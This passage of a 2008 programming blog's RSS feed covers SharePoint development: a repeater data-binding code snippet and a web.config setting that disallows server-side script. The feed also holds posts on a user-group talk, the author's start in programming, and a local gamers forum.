    &lt;span class="rem"&gt;// Find our literal control in the current repeater item&lt;/span&gt;
    Literal NameLiteral = e.Item.FindControl(&lt;span class="str"&gt;"NameLiteral"&lt;/span&gt;) &lt;span class="kwrd"&gt;as&lt;/span&gt; Literal;

    &lt;span class="rem"&gt;// If it was found, set its value&lt;/span&gt;
    &lt;span class="kwrd"&gt;if&lt;/span&gt; (NameLiteral != &lt;span class="kwrd"&gt;null&lt;/span&gt;) { NameLiteral.Text = dr[&lt;span class="str"&gt;"Name"&lt;/span&gt;].ToString(); }
}&lt;/pre&gt;&lt;br /&gt;

&lt;p&gt;I can imagine you're griping already. It's easy to see the security reason for doing this--you don't want users to be able to run arbitrary code on your server. But it's so freaking complicated. (Well, it is until you get used to the idea.) But as I said, &lt;strong&gt;that's not the real gotcha here&lt;/strong&gt;. So what is the point of this post?&lt;/p&gt;

&lt;p&gt;The real gotcha here is that &lt;strong&gt;this doesn't seem to be a default security setting&lt;/strong&gt;, at least in the development environments we're using. (Andy's using a VirtualPC image he set up himself; I'm using &lt;a href="http://www.dylanwolf.com/programming/138/"&gt;Microsoft's WSS3 VirtualPC image&lt;/a&gt;.) We only ran into this issue after he tried to install a project on the client's server.&lt;/p&gt;

&lt;p&gt;I don't think we've figured out exactly what turns on this security setting in SharePoint configuration, but I have found out how you can force your development environment to throw these sort of errors. All you have to do is dig into your development site's web.config file and add the following node:&lt;/p&gt;
&lt;!-- code formatted by http://manoli.net/csharpformat/ --&gt;
&lt;pre class="csharpcode"&gt;
&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;configuration&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;SharePoint&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;SafeMode&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;PageParserPaths&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
                &lt;strong&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;PageParserPath&lt;/span&gt; &lt;span class="attr"&gt;VirtualPath&lt;/span&gt;="/*" &lt;span class="attr"&gt;CompilationMode&lt;/span&gt;="&lt;span class="attr"&gt;Always&lt;/span&gt;" &lt;span class="attr"&gt;AllowServerSideScript&lt;/span&gt;="&lt;span class="attr"&gt;false&lt;/span&gt;" &lt;span class="attr"&gt;IncludeSubFolders&lt;/span&gt;="&lt;span class="attr"&gt;true&lt;/span&gt;" &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;/strong&gt;
            &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;PageParserPaths&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;SafeMode&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;SharePoint&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;configuration&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;Once that's done, you can now catch yourself using stuff that's not allowed in ASPX pages &lt;em&gt;before&lt;/em&gt; it gets to your client's server.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/144"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=MxsA3n3I"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7oNwdZBN"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=7oNwdZBN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=zarCjYo2"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=zarCjYo2" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=PXwVIflD"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=PXwVIflD" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=NfbhJerH"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/TerRAdIXuQE" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/144/</guid><pubDate>Fri, 08 Aug 2008 10:52:55 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/144/</feedburner:origLink></item><item><title>On Presenting</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/nl_u5l3RbIs/</link><description>&lt;p&gt;I just finished a presentation tonight at &lt;a href="http://www.etnug.org/"&gt;ETNUG&lt;/a&gt; called "SharePoint Sucks!" The presentation was my entry into Speakers Idol, where people who weren't selected as speakers for &lt;a href="http://www.codestock.org/"&gt;Codestock&lt;/a&gt; session could compete for one last remaining session. Didn't win, but it did net me the presentation at the August ETNUG meeting.&lt;/p&gt;

&lt;p&gt;Incidentally, for those interested, here are the links I referenced as resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/6xctzp"&gt;Downloadable WSS books from Microsoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/rghrn"&gt;7 Development Projects for SharePoint&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cleverworkarounds.com/"&gt;CleverWorkarounds.com&lt;/a&gt; - lots of good SharePoint articles, including "Why Do SharePoint Projects Fail" series&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.endusersharepoint.com/"&gt;EndUserSharePoint.com&lt;/a&gt; - "Thinking SharePoint" series&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Microsoft-Office-SharePoint-Server-Practices/dp/0735625387/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1217400351&amp;sr=8-1"&gt;SharePoint Server 2007 Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/4847dg"&gt;WSS3 Evaluation Virtual PC image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/ytmlqn"&gt;MOSS2007 Evaluation Virtual PC image&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The topic, contrary to its name, was about when to use and when not to use SharePoint. (If you really want to know where the title comes from, go through the comments on some of my SharePoint posts.) It's been quite a while since I've had to present anything, so I've been critiquing the whole experience.&lt;/p&gt;

&lt;p&gt;One suggestion I received is to ditch the "Intro to Windows SharePoint Services 3" topic I originally submitted, and go with a continuation of "SharePoint Sucks!" for August's ETNUG meeting. I'm not completely comfortable with this idea, because I don't feel that approach is quite my style.&lt;/p&gt;

&lt;p&gt;On the other hand, I have found out that I'm much more comfortable at Q&amp;amp;A and discussion than I am at presenting all my own stuff. I think it's because I like thinking inside the box, so to speak. Q&amp;amp;A forces me to tackle the questions that people need to know rather than trying to do an overview that's simultaneously broad and deep. In turn, this keeps me from overanalyzing details or going off on tangents. Extending the "SharePoint Sucks" talk should naturally lead to better discussion. (Maybe.)&lt;/p&gt;

&lt;p&gt;So I'm kind of at a loss as to which way to go for the August meeting right now.&lt;/p&gt;

&lt;p&gt;I noticed an interesting side effect after presenting that I'm not sure I like. Preparation for a presentation will usually be stretched out over a few days. So by the time the presentation rolls around, you've been living in this world where your topic is The Most Important Thing Ever. And once it's over and the rush sort of drains out of your system, your priorities correct themselves and you realize just how insignificant your topic is in the larger scheme of things. It almost makes the presentation itself seem silly.&lt;/p&gt; 

&lt;p&gt;And yes, I know this post is completely breaking the fourth wall in ways good bloggers shouldn't. But that's because &lt;a href="http://blogs.msdn.com/michkap/archive/2005/04/30/413721.aspx"&gt;it might mess up their space suits&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/143"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=EeK1RT1Q"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=pg12aCRk"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=pg12aCRk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Kocy0vKu"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Kocy0vKu" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=NvRqsNx3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=NvRqsNx3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=d4P0Cvzi"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/nl_u5l3RbIs" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/143/</guid><pubDate>Wed, 30 Jul 2008 02:31:00 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/143/</feedburner:origLink></item><item><title>How did I get started in software development?</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/oWRYwikty-Y/</link><description>&lt;p&gt;OK, Mike &lt;a href="http://www.vinull.com/Post/2008/07/12/how-did-i-get-started-in-software-devel.aspx"&gt;just tagged me with this meme&lt;/a&gt;, so here we go:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How old were you when you started programming?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I was in 5th grade. (I don't remember my age at the time, but if someone's really interested, I can do the math.) I started out by typing in programs from &lt;em&gt;3-2-1 Contact&lt;/em&gt; magazine's "BASIC Training" column into QBasic. QBasic has a pretty good help feature, so I just moved on from there. Oddly enough, my main drive was to learn how to program video games, which (obviously) never really happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What was your first language? &lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;QBasic. I later ended up picking up another BASIC variation called &lt;a href="http://en.wikipedia.org/wiki/ASIC_programming_language"&gt;ASIC&lt;/a&gt; (because you could compile it), and then Visual Basic 4 from there.&lt;/p&gt;

&lt;p&gt;After several failed attempts to pick up other languages (Java, and basically whatever free compilers I could get my hands on), I got into web programming with Perl. From there I went to PHP, then Python (after I took a job with Mediapulse), and finally C#.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What was the first real program you wrote?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I can't remember. I had a couple of little DOS games that I did in QBasic and ASIC that were pretty polished (relatively speaking).&lt;/p&gt;

&lt;p&gt;In 8th grade, a friend and I created a customizable quiz program for a school project and we tried to sell that. It was in ASIC 1.0, which kind of sucked compared to QBasic. Didn't sell a single copy, but I eventually wrote a more polished version with mouse support and color after ASIC 5.0 released.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you knew then what you know now, would you have started programming?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Definitely. And I would have had a better idea of what the next step was after BASIC. (Hint: it wasn't picking up a "Java by Example" book and trying to write graphical browser-based applets.)&lt;/p&gt;

&lt;p&gt;Whether I would have made it my career, that's a different story. Likely so, but I might not have felt as sure that it was what I needed to do. (More on that in the next item.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If there is one thing you learned along the way that you would tell new developers, what would it be?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Software development is a business, just like any other. New developers tend to think they can solve all the world's problems--simplifying and automating business processes, creating applications to manage data that's currently sprawled across several Excel spreadsheets, and things like that. I know; I've been there. The reality is, things are like they are not because no one's ever offered to box them up in a pretty little application. The problem is they're either very complex problems, or they're simple, but people don't take the time and effort to streamline and fix them. And if you want to fix the problem, you'll have to understand &lt;em&gt;why&lt;/em&gt; it's like that in the first place, or you'll just be adding to it.&lt;/p&gt;

&lt;p&gt;You will have to learn a little bit of business analysis. You will have to deal with people climbing the corporate ladder. It sucks, but just because you're an IT geek doesn't mean you get to live in a world full of nothing but code and idealism. You'll be able to accomplish a lot more good if you prepare for this--just don't get sucked into it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's the most fun you've ever had ... programming?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When I was at Mediapulse, they pulled me off of contract work to work on a product called DealStream. Basically, it was a web application that would let funds handle applications for funding. They pulled me in after doing all the high-level planning, so I got to refine the application process and figure out how it translated to a web application. Then I got to code it, and had a lot more leeway to do it right (since it was a product we'd be maintaining and reselling) and make it really customizable. I built the database, then created a Python module to handle the data and process (using a ORM library I'd written), tested the crap out of it (not actual unit tests, but I did step through every possible path in the process), and &lt;em&gt;then&lt;/em&gt; built the web application. The great thing was, we'd been working with MySQL, Python, and Apache so long that we really knew our stuff, and so I streamlined deployment and configuration quite a bit.&lt;/p&gt;

&lt;p&gt;I worked with our first client to refine it into something that met their needs. Once the first site launched, I took versioning very seriously, since every client had to have their own copy of the software deployed to our web server, and I wanted to avoid branching as much as possible for maintenance reasons. (It's not a product if every instance of the software is a customized version.) I even started writing a full documentation of the object model.&lt;/p&gt;

&lt;p&gt;It was one of those projects that I put a lot of effort into, and just turned out great. (Well, from my perspective; I'm not sure how well it actually sold after I left.) Every time I write JavaScript, I wish I had a copy of the code. I had some really sweet text validation and formatting functions in there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who am I calling out?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since I'm not sure who reads my blog regularly, and Mike has called out most of the usual suspects, let's go with...&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.inanutshell.us/"&gt;Gabriel Cooper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;... and anyone else that feels like it.&lt;/li&gt;
&lt;/ul&gt; &lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/140"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=ZjPIEV9U"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=wlqrkPIl"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=wlqrkPIl" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=jsPLTEqx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=jsPLTEqx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=j86ykpx5"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=j86ykpx5" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=eMeaPWZO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/oWRYwikty-Y" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/140/</guid><pubDate>Sun, 13 Jul 2008 11:17:00 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/140/</feedburner:origLink></item><item><title>KnoxOnlineGamers</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/W2d9YOdisJ4/</link><description>&lt;p&gt;I saw on Twitter today that the &lt;a href="http://www.knoxonlinegamers.com/"&gt;KnoxOnlineGamers&lt;/a&gt; forum launched. They're wanting to build a community of gamers in the Knoxville area--online, board, and tabletop.&lt;/p&gt;

&lt;p&gt;Also, if you're outside of the Knoxville area, check out &lt;a href="http://forums.tvga.org/"&gt;TVGA&lt;/a&gt;. We've got a few members in the Knoxville area, but for the most part, it's Athens and Cleveland right now. (If you sign up, let me know so I can activate your account--we've had a lot of spammers recently so I have to approve accounts before they can post.)&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/gaming/142"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=zDOa4R6s"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=8UbLJuMZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=8UbLJuMZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=CJe5SsPG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=CJe5SsPG" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=H4TXkJC5"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=H4TXkJC5" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=nK4K9cFj"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/W2d9YOdisJ4" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/gaming/142/</guid><pubDate>Sat, 12 Jul 2008 19:56:42 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/gaming/142/</feedburner:origLink></item></channel></rss>
